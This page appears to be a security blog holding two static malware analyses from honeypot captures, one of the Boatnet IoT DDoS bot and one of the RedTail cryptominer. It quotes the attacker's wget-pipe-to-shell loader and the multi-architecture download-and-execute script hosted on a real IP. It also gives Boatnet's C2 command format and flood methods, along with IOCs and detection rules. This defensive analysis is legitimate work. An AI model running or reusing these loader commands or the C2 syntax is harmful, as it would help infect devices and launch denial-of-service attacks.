Skip to main content

2 posts tagged with "mirai"

View All Tags

Fresh From the Honeypot: Boatnet

· 8 min read

Overview

Boatnet - a multi-architecture IoT botnet component.

Campaign Graph


Methodology

This investigation was done entirely statically (i.e. I didn't execute the binary && Hybrid Analysis couldn't run it anyway since some of the crucial components are dynamically generated at runtime!)

  1. Inspect ELF metadata without execution
  2. Check entropy and obvious packer indicators (UPX packer was used)
  3. Note high-entropy regions for offline inspection
  4. Attempt safe unpacking only when packer evidence supports it
  5. Use strings and command logs to separate static configuration from runtime (dynamic) configuration
  6. Correlate honeypot sessions, uploaded filenames, source IPs, staging domains, and payload-hosting infrastructure

Tools used

You don't need anything fancy, just a few libraries:

  • readelf, file, stat, and xxd for ELF structure and byte-level triage
  • binwalk and binwalk -E for signature and entropy checks
  • strings, grep, and shell one-liners for static indicator extraction
  • upx for packer validation
  • honeypot logs for attacker workflow and source correlation

Investigation

The observed Boatnet loader command

The Boatnet infrastructure artifact came from a command observed in the attacker workflow:

cd /tmp; wget http://2.26.98.67/bin.sh -O- | sh

Retrieve the script without executing it:

torsocks curl -v http://2.26.98.67/bin.sh -o /home/analysis/bin.sh

Representative result:

HTTP/1.1 200 OK
Server: Apache/2.4.52 (Ubuntu)
Content-Length: 3371
Content-Type: text/x-sh

Inspect the script:

cat /home/analysis/bin.sh

Representative content:

#!/bin/bash
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /
wget http://2.26.98.67/hiddenbin/boatnet.arm -O boatnet.arm && chmod +x boatnet.arm && ./boatnet.arm; rm -f boatnet.arm
curl -O http://2.26.98.67/hiddenbin/boatnet.arm && chmod +x boatnet.arm && ./boatnet.arm; rm -f boatnet.arm
...
wget http://2.26.98.67/hiddenbin/boatnet.x86_64 -O boatnet.x86_64 && chmod +x boatnet.x86_64 && ./boatnet.x86_64; rm -f boatnet.x86_64
curl -O http://2.26.98.67/hiddenbin/boatnet.x86_64 && chmod +x boatnet.x86_64 && ./boatnet.x86_64; rm -f boatnet.x86_64
rm -rf bin.sh

This is a classic architecture fanout loader: download every build, try to execute each one, delete it, and let the compatible one survive long enough to run.

Extract URLs from the loader

Use a simple URL extractor:

grep -Eo 'http://[^ ]+' /home/analysis/bin.sh

Representative result:

http://2.26.98.67/hiddenbin/boatnet.arm
http://2.26.98.67/hiddenbin/boatnet.arm5
http://2.26.98.67/hiddenbin/boatnet.arm6
http://2.26.98.67/hiddenbin/boatnet.arm7
http://2.26.98.67/hiddenbin/boatnet.i486
http://2.26.98.67/hiddenbin/boatnet.i686
http://2.26.98.67/hiddenbin/boatnet.m68k
http://2.26.98.67/hiddenbin/boatnet.mips
http://2.26.98.67/hiddenbin/boatnet.mpsl
http://2.26.98.67/hiddenbin/boatnet.ppc
http://2.26.98.67/hiddenbin/boatnet.sh4
http://2.26.98.67/hiddenbin/boatnet.spc
http://2.26.98.67/hiddenbin/boatnet.x86
http://2.26.98.67/hiddenbin/boatnet.x86_64

Check whether the payload directory is exposed

Query the directory directly (using torsocks or proxychains or whatever):

torsocks curl http://2.26.98.67/hiddenbin/

Representative result:

Index of /hiddenbin

boatnet.arm 2026-04-14 12:19 25K
boatnet.arm5 2026-04-14 12:19 9.1K
boatnet.arm6 2026-04-14 12:19 31K
boatnet.arm7 2026-04-14 12:19 51K
boatnet.i486 2026-04-14 12:19 28K
boatnet.i686 2026-04-14 12:19 23K
boatnet.m68k 2026-04-14 12:19 53K
boatnet.mips 2026-04-14 12:19 27K
boatnet.mpsl 2026-04-14 12:19 27K
boatnet.ppc 2026-04-14 12:19 25K
boatnet.sh4 2026-04-14 12:19 40K
boatnet.spc 2026-04-14 12:19 51K
boatnet.x86 2026-04-14 12:19 22K
boatnet.x86_64 2026-04-14 12:19 24K

That spread across ARM, MIPS, PPC, SH4, x86, and x86_64 is a classic IoT botnet distribution pattern. In practical terms, it looks like Mirai.

Safely retrieve one Boatnet sample

Retrieve, but do not execute, the x86_64 sample:

torsocks curl -v http://2.26.98.67/hiddenbin/boatnet.x86_64 \
-o /home/analysis/boatnet.x86_64

Representative result:

HTTP/1.1 200 OK
Server: Apache/2.4.52 (Ubuntu)
Content-Length: 24248

Hash it:

sudo sha256sum /home/analysis/boatnet.x86_64

Result:

c8ac1b479721ae4857cb0c6ff3d011b3248eae14519d26a8167eee58fd41f287 /home/analysis/boatnet.x86_64

Identify and unpack Boatnet

Basic file type:

sudo file /home/analysis/boatnet.x86_64

Representative result:

boatnet.x86_64: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, no section header

Initial strings showed a UPX marker:

sudo strings -a -n 6 /home/analysis/boatnet.x86_64 | grep -Ei 'UPX|packed'

Representative result:

$Info: This file is packed with the UPX executable packer http://upx.sf.net $
$Id: UPX 3.94 Copyright (C) 1996-2017 the UPX Team. All Rights Reserved. $

Validate and unpack:

sudo upx -t /home/analysis/boatnet.x86_64

sudo upx -d /home/analysis/boatnet.x86_64 \
-o /home/analysis/boatnet.x86_64.unpacked

Representative result:

testing /home/analysis/boatnet.x86_64 [OK]

File size Ratio Format Name
43568 <- 24248 55.66% linux/amd64 boatnet.x86_64.unpacked

Unpacked 1 file.

Extract Boatnet attack and traffic-shaping strings

After unpacking, the strings become much more useful:

sudo strings -a -n 5 /home/analysis/boatnet.x86_64.unpacked | head -200

Representative result:

[1;33m[BOT] Attacking %s:%d with %s
GET /%s?%s HTTP/1.1
Host: %s
User-Agent: %s
Referer: %s
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
X-Forwarded-For: %d.%d.%d.%d
X-Real-IP: %d.%d.%d.%d
Via: 1.1 %d.%d.%d.%d
Cache-Control: no-cache
Connection: keep-alive
POST /%s HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Cookie: session=%s; _ga=GA1.2.%d.%d

This is HTTP flood traffic generation with browser headers, fake forwarding headers, and session/cookie-like data.

Recover Boatnet C2 IP and protocol strings

Search for IPs and C2-ish strings:

sudo strings -a -n 4 /home/analysis/boatnet.x86_64.unpacked \
| grep -E '[0-9]{1,3}(\.[0-9]{1,3}){3}'

Representative result:

2.26.98.67

Use radare2 to locate string VMAs:

sudo r2 -q -c 'aaa' \
-c 'izz~2.26.98.67' \
-c 'izz~Connected' \
-c 'izz~HTTPRAGE' \
-c 'izz~CFBYPASS' \
-c 'q' \
/home/analysis/boatnet.x86_64.unpacked

Representative result:

386 0x0000875e 0x0040875e 10 11 .rodata ascii 2.26.98.67
387 0x00008769 0x00408769 10 11 .rodata ascii Connected\n
391 0x00008797 0x00408797 8 9 .rodata ascii HTTPRAGE
404 0x00008801 0x00408801 8 9 .rodata ascii CFBYPASS

Find cross-references:

sudo r2 -q -c 'aaa' \
-c 'axt @ 0x0040875e' \
-c 'axt @ 0x00408769' \
-c 'axt @ 0x00408797' \
-c 'axt @ 0x00408801' \
-c 'q' \
/home/analysis/boatnet.x86_64.unpacked

Representative result:

(nofunc) 0x40110c [DATA] mov edi, str.2.26.98.67
(nofunc) 0x401152 [DATA] mov esi, str.Connected_n
(nofunc) 0x40142b [DATA] mov edi, str.HTTPRAGE
(nofunc) 0x40164b [DATA] mov edi, str.CFBYPASS

Reconstruct Boatnet C2 behavior

Dump the relevant areas around those references:

sudo r2 -q -c 'aaa' \
-c 'pd 120 @ 0x004010d0' \
-c 'pd 220 @ 0x004013f0' \
-c 'pd 220 @ 0x00401610' \
-c 'q' \
/home/analysis/boatnet.x86_64.unpacked

Representative disassembly:

0x0040110c mov edi, str.2.26.98.67
0x00401111 mov word [rsp + 0x1100], 2
0x0040111b mov word [rsp + 0x1102], 0xbc01
...
0x00401152 mov esi, str.Connected_n ; "Connected\n"
...
0x004011a0 mov esi, str.PING
...
0x004011bc mov esi, str.PONG_n ; "PONG\n"

The 0xbc01 value is stored in network byte order. Interpreted as a TCP port, that gives:

2.26.98.67:44481

The C2 protocol is plaintext TCP:

Bot -> C2: Connected
C2 -> Bot: PING
Bot -> C2: PONG

The command parser uses this format string:

.%s %s %d %d %d

That reconstructs to:

.<method> <target> <port> <duration> <threads>

Example shape:

.HTTPRAGE example.com 80 60 100

The leading dot is checked before parsing, which means attack commands must begin with ..

Supported methods observed in the unpacked binary include:

UDP
TCP
HTTPRAGE
BYPASS
MC-TCP
MC-UDP
MCHANDSHAKE
MCLEGIT
OVHUDP
FORTNITE
DISCORD
RAKNET
TCPRAGE
VSE
DNS
ICMP
HTTP
HTTPS
CFBYPASS
TLS
DISCORDBYPASS
RAGE

This confirms Boatnet is a modular DDoS bot with a raw TCP, newline-delimited C2 protocol.


Infrastructure Roles


2.26.98.67
Role: Boatnet payload host and apparent Boatnet C2
Paths: /bin.sh, /hiddenbin/boatnet.*
Port: 44481
Confidence: high for Boatnet distribution

Boatnet
Role: commodity multi-architecture IoT botnet payload set
Pattern: Mirai-like architecture fanout

IOCs

2.26.98.67
2.26.98.67:44481
http://2.26.98.67/bin.sh
http://2.26.98.67/hiddenbin/boatnet.arm
http://2.26.98.67/hiddenbin/boatnet.arm5
http://2.26.98.67/hiddenbin/boatnet.arm6
http://2.26.98.67/hiddenbin/boatnet.arm7
http://2.26.98.67/hiddenbin/boatnet.i486
http://2.26.98.67/hiddenbin/boatnet.i686
http://2.26.98.67/hiddenbin/boatnet.m68k
http://2.26.98.67/hiddenbin/boatnet.mips
http://2.26.98.67/hiddenbin/boatnet.mpsl
http://2.26.98.67/hiddenbin/boatnet.ppc
http://2.26.98.67/hiddenbin/boatnet.sh4
http://2.26.98.67/hiddenbin/boatnet.spc
http://2.26.98.67/hiddenbin/boatnet.x86
http://2.26.98.67/hiddenbin/boatnet.x86_64

Detection Logic

IF
honeypot session contains wget or curl to /bin.sh
THEN
High-confidence Linux IoT botnet loader activity

Observations & Conclusions

The Boatnet activity shows a layered post-compromise workflow combining commodity botnet deployment with a more flexible, dynamically configured payload.

The 2.26.98.67 infrastructure served bin.sh and a wide set of boatnet.* architecture builds. That is noisy, high-volume botnet infrastructure!

Indicators of Compromise (IOCs)
IOCs (domains, IP addresses, files, hashes, etc.) from this analysis are available on GitHub.
View on GitHub →

Fresh From the Honeypot: RedTail

· 6 min read

Overview

RedTail - a dynamically configured miner-capable payload.

Campaign Graph


Methodology

This investigation was done entirely statically (i.e. I didn't execute the binary && Hybrid Analysis couldn't run it anyway since some of the crucial components are dynamically generated at runtime!)

  1. Inspect ELF metadata without execution
  2. Check entropy and obvious packer indicators (UPX packer was used)
  3. Note high-entropy regions for offline inspection
  4. Attempt safe unpacking only when packer evidence supports it
  5. Use strings and command logs to separate static configuration from runtime (dynamic) configuration
  6. Correlate honeypot sessions, uploaded filenames, source IPs, staging domains, and payload-hosting infrastructure

Tools used

You don't need anything fancy, just a few libraries:

  • readelf, file, stat, and xxd for ELF structure and byte-level triage
  • binwalk and binwalk -E for signature and entropy checks
  • strings, grep, and shell one-liners for static indicator extraction
  • upx for packer validation
  • honeypot logs for attacker workflow and source correlation

Investigation

Establish the RedTail upload pattern

Use a broad search over your honeypot logs:

sudo grep -RIEi 'redtail|wget|curl|stratum|pool|wallet|rig-id|worker-id|access-token' \
/home/honeypotPath

Representative result:

{..."timestamp":"2026-04-21T08:32:54.874315Z","src_ip":"130.12.180.51","session":"af0e2f1629e0","protocol":"ssh"}

Identify architectures and basic ELF traits

Run file across the copied samples:

sudo file /home/analysis/redtail/redtail.*

Representative result:

/home/analysis/redtail/redtail.arm7: ELF 32-bit LSB executable, ARM, EABI5 version 1 (GNU/Linux), statically linked, no section header
/home/analysis/redtail/redtail.arm8: ELF 64-bit LSB executable, ARM aarch64, version 1 (SYSV), statically linked, no section header
/home/analysis/redtail/redtail.i686: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, no section header
/home/analysis/redtail/redtail.x86_64: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, no section header

Key takeaways:

  • The operator has builds for multiple CPU families
  • The binaries are statically linked
  • The files lack section headers

Inspect ELF headers without running the sample

Use readelf to inspect program headers and confirm the lack of sections:

sudo readelf -a /home/analysis/redtail/redtail.arm7

Representative result:

ELF Header:
Class: ELF32
Data: 2's complement, little endian
Type: EXEC (Executable file)
Machine: ARM
Entry point address: 0x501c0c
Number of section headers: 0

There are no sections in this file.

Program Headers:
Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align
LOAD 0x000000 0x00010000 0x00010000 0x01000 0x3b5040 RW 0x1000
LOAD 0x000000 0x003c6000 0x003c6000 0x13d254 0x13d254 R E 0x1000
GNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RW 0x10

This is a good early warning that string extraction and program-header-based offsets may be more useful than section-based workflows.

Check entropy and obvious packing indicators

Use binwalk for signatures and entropy:

sudo binwalk /home/analysis/redtail/redtail.arm7
sudo binwalk -E /home/analysis/redtail/redtail.arm7

Representative result:

DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
0 0x0 ELF, 32-bit LSB executable, ARM, version 1 (GNU/Linux)

DECIMAL HEXADECIMAL ENTROPY
--------------------------------------------------------------------------------
1024 0x400 Rising entropy edge (0.975263)

A high-entropy edge is not proof of packing by itself, but it is a useful triage clue. In this case, a byte-level check also revealed UPX-like material in at least one sample region.

sudo xxd -s 0x80 -l 128 /home/analysis/redtail/redtail.arm7

Representative result:

00000090: 1000 0000 1ed7 d4fb 5550 5821 5816 0e17 ........UPX!X...

Important caveat: seeing UPX!-like bytes does not always mean the current tool can unpack the exact sample. Validate before attempting unpacking!

Test UPX safely

For the RedTail ARM sample, UPX did not identify a standard packed file:

sudo upx -t /home/analysis/redtail/redtail.arm7

Representative result:

upx: /home/analysis/redtail/redtail.arm7: NotPackedException: not packed by UPX

For the x86_64 RedTail sample, unpacking succeeded:

sudo upx -d /home/analysis/redtail/redtail.x86_64 \
-o /home/analysis/redtail/unpacked.x86_64

Representative result:

File size Ratio Format Name
5042463 <- 1880264 37.29% linux/amd64 unpacked.x86_64

Unpacked 1 file.

That unpacked x86_64 build became the most useful static target.

Extract RedTail mining and protocol indicators

Search for mining-related strings:

sudo strings -a -n 6 /home/analysis/redtail/unpacked.x86_64 \
| grep -Ei 'pool|stratum|:3333|:4444'

Representative result:

pool address
pools
stratum+ssl://%s
stratum+ssl://
stratum+tcp://
[1;37mPOOL #%-7zu
[0;31mno active pools, stop mining

These are meaningful, as they show the binary supports mining and Stratum-style communication, but the actual pool and wallet are not present in plaintext.

Search for likely runtime configuration terms:

sudo strings -a -n 6 /home/analysis/redtail/unpacked.x86_64 \
| grep -Ei 'worker-id|access-token|restricted|rig-id|application/json|keepalived|jsonrpc'

Representative result:

worker-id
access-token
restricted
rig-id
{"id":%ld,"jsonrpc":"2.0","method":"keepalived","params":{"id":"%s"}}
application/json

The keepalived JSON-RPC-style template is one of the strongest static signals:

{"id":%ld,"jsonrpc":"2.0","method":"keepalived","params":{"id":"%s"}}

That points to a runtime model:

RedTail binary
-> contacts remote controller/config service
-> sends keepalive / identity data
-> receives mining pool + wallet + worker settings dynamically

Infrastructure Roles

130.12.180.51
Role: source IP of RedTail uploads
Evidence: RedTail architecture-specific uploads in the honeypot dataset
Confidence: high for source correlation


RedTail
Role: miner-capable Linux payload
Static finding: XMRig/Stratum capability present
Missing statically: wallet, pool, complete mining config
Likely model: runtime configuration via C2


Detection Logic

IF
binary strings contain stratum+tcp or stratum+ssl
THEN
Miner-capable payload with likely runtime-delivered configuration

Observations & Conclusions

RedTail’s value is in runtime configuration.

The RedTail sample exposes miner capability, Stratum support, JSON-RPC-style behavior, and worker/config terms, but not a static wallet or pool. That points toward dynamic C2 delivery of mining configuration.

Indicators of Compromise (IOCs)
IOCs (domains, IP addresses, files, hashes, etc.) from this analysis are available on GitHub.
View on GitHub →